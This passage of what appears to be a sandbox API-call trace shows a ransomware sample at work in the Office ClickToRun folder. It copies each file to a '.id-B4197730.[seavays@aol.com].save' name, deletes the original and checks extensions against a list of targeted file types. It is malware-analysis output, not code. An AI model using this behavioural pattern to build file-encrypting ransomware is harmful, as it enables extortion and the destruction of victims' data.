lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0068.101] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0068.102] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.102] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x122, lpOverlapped=0x0) returned 1 [0068.102] SetEndOfFile (hFile=0x37c) returned 1 [0068.103] CloseHandle (hObject=0x37c) returned 1 [0068.105] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.105] SetEndOfFile (hFile=0x398) returned 1 [0068.106] CloseHandle (hObject=0x398) returned 1 [0068.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0068.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.107] lstrlenW (lpString=".doc") returned 4 [0068.107] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.108] lstrlenW (lpString=".docx") returned 5 [0068.108] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.108] lstrlenW (lpString=".pdf") returned 4 [0068.108] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.108] lstrlenW (lpString=".xls") returned 4 [0068.108] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.108] lstrlenW (lpString=".xlsx") returned 5 [0068.108] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.108] lstrlenW (lpString=".ppt") returned 4 [0068.108] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.108] lstrlenW (lpString=".zip") returned 4 [0068.108] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.108] lstrlenW (lpString=".rar") returned 4 [0068.108] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.108] lstrlenW (lpString=".bz2") returned 4 [0068.108] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.108] lstrlenW (lpString=".7z") returned 3 [0068.108] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.108] lstrlenW (lpString=".dbf") returned 4 [0068.108] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.108] lstrlenW (lpString=".1cd") returned 4 [0068.108] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.108] lstrlenW (lpString=".jpg") returned 4 [0068.109] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.109] lstrlenW (lpString=".doc") returned 4 [0068.109] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.109] lstrlenW (lpString=".docx") returned 5 [0068.109] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.109] lstrlenW (lpString=".pdf") returned 4 [0068.109] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.109] lstrlenW (lpString=".xls") returned 4 [0068.109] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.109] lstrlenW (lpString=".xlsx") returned 5 [0068.109] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.109] lstrlenW (lpString=".ppt") returned 4 [0068.109] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.109] lstrlenW (lpString=".zip") returned 4 [0068.109] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.109] lstrlenW (lpString=".rar") returned 4 [0068.109] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.109] lstrlenW (lpString=".bz2") returned 4 [0068.109] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.109] lstrlenW (lpString=".7z") returned 3 [0068.109] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.110] lstrlenW (lpString=".dbf") returned 4 [0068.110] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.110] lstrlenW (lpString=".1cd") returned 4 [0068.110] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0068.110] lstrlenW (lpString=".jpg") returned 4 [0068.110] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.110] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.110] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0068.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.111] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19136) returned 1 [0068.111] CloseHandle (hObject=0x398) returned 1 [0068.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0068.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.111] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.111] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0068.112] GetLastError () returned 0x0 [0068.112] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0068.114] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0068.116] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.116] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x126, lpOverlapped=0x0) returned 1 [0068.116] SetEndOfFile (hFile=0x37c) returned 1 [0068.116] CloseHandle (hObject=0x37c) returned 1 [0068.118] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.118] SetEndOfFile (hFile=0x398) returned 1 [0068.119] CloseHandle (hObject=0x398) returned 1 [0068.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.120] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0068.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.120] lstrlenW (lpString=".doc") returned 4 [0068.120] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.120] lstrlenW (lpString=".docx") returned 5 [0068.120] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0068.120] lstrlenW (lpString=".pdf") returned 4 [0068.120] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.121] lstrlenW (lpString=".xls") returned 4 [0068.121] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.121] lstrlenW (lpString=".xlsx") returned 5 [0068.121] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0068.121] lstrlenW (lpString=".ppt") returned 4 [0068.121] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.121] lstrlenW (lpString=".zip") returned 4 [0068.121] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.121] lstrlenW (lpString=".rar") returned 4 [0068.121] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.121] lstrlenW (lpString=".bz2") returned 4 [0068.121] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.121] lstrlenW (lpString=".7z") returned 3 [0068.121] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.121] lstrlenW (lpString=".dbf") returned 4 [0068.121] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.121] lstrlenW (lpString=".1cd") returned 4 [0068.122] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.122] lstrlenW (lpString=".jpg") returned 4 [0068.122] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.122] lstrlenW (lpString=".doc") returned 4 [0068.122] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.122] lstrlenW (lpString=".docx") returned 5 [0068.122] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0068.122] lstrlenW (lpString=".pdf") returned 4 [0068.122] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.122] lstrlenW (lpString=".xls") returned 4 [0068.122] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.122] lstrlenW (lpString=".xlsx") returned 5 [0068.122] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0068.122] lstrlenW (lpString=".ppt") returned 4 [0068.122] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.122] lstrlenW (lpString=".zip") returned 4 [0068.122] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.122] lstrlenW (lpString=".rar") returned 4 [0068.122] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.122] lstrlenW (lpString=".bz2") returned 4 [0068.122] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.123] lstrlenW (lpString=".7z") returned 3 [0068.123] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.123] lstrlenW (lpString=".dbf") returned 4 [0068.123] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.123] lstrlenW (lpString=".1cd") returned 4 [0068.123] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0068.123] lstrlenW (lpString=".jpg") returned 4 [0068.123] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.123] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.123] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0068.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.124] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19136) returned 1 [0068.124] CloseHandle (hObject=0x398) returned 1 [0068.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0068.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.124] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.124] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0068.125] GetLastError () returned 0x0 [0068.125] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0068.351] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0068.352] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.352] WriteFile (in: hFile=0x37c, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1 [0068.353] SetEndOfFile (hFile=0x37c) returned 1 [0068.353] CloseHandle (hObject=0x37c) returned 1 [0068.354] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.354] SetEndOfFile (hFile=0x398) returned 1 [0068.355] CloseHandle (hObject=0x398) returned 1 [0068.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.355] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0068.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.356] lstrlenW (lpString=".doc") returned 4 [0068.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.356] lstrlenW (lpString=".docx") returned 5 [0068.356] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.356] lstrlenW (lpString=".pdf") returned 4 [0068.356] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.356] lstrlenW (lpString=".xls") returned 4 [0068.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.356] lstrlenW (lpString=".xlsx") returned 5 [0068.356] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.356] lstrlenW (lpString=".ppt") returned 4 [0068.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.356] lstrlenW (lpString=".zip") returned 4 [0068.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.356] lstrlenW (lpString=".rar") returned 4 [0068.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.356] lstrlenW (lpString=".bz2") returned 4 [0068.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.356] lstrlenW (lpString=".7z") returned 3 [0068.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.357] lstrlenW (lpString=".dbf") returned 4 [0068.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.357] lstrlenW (lpString=".1cd") returned 4 [0068.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.357] lstrlenW (lpString=".jpg") returned 4 [0068.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.357] lstrlenW (lpString=".doc") returned 4 [0068.357] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.357] lstrlenW (lpString=".docx") returned 5 [0068.357] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.357] lstrlenW (lpString=".pdf") returned 4 [0068.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.357] lstrlenW (lpString=".xls") returned 4 [0068.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.357] lstrlenW (lpString=".xlsx") returned 5 [0068.357] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.357] lstrlenW (lpString=".ppt") returned 4 [0068.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.357] lstrlenW (lpString=".zip") returned 4 [0068.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.357] lstrlenW (lpString=".rar") returned 4 [0068.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.357] lstrlenW (lpString=".bz2") returned 4 [0068.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.357] lstrlenW (lpString=".7z") returned 3 [0068.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.358] lstrlenW (lpString=".dbf") returned 4 [0068.358] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.358] lstrlenW (lpString=".1cd") returned 4 [0068.358] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0068.358] lstrlenW (lpString=".jpg") returned 4 [0068.358] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.358] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.358] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0068.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.358] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19648) returned 1 [0068.358] CloseHandle (hObject=0x398) returned 1 [0068.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0068.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.548] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.548] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft 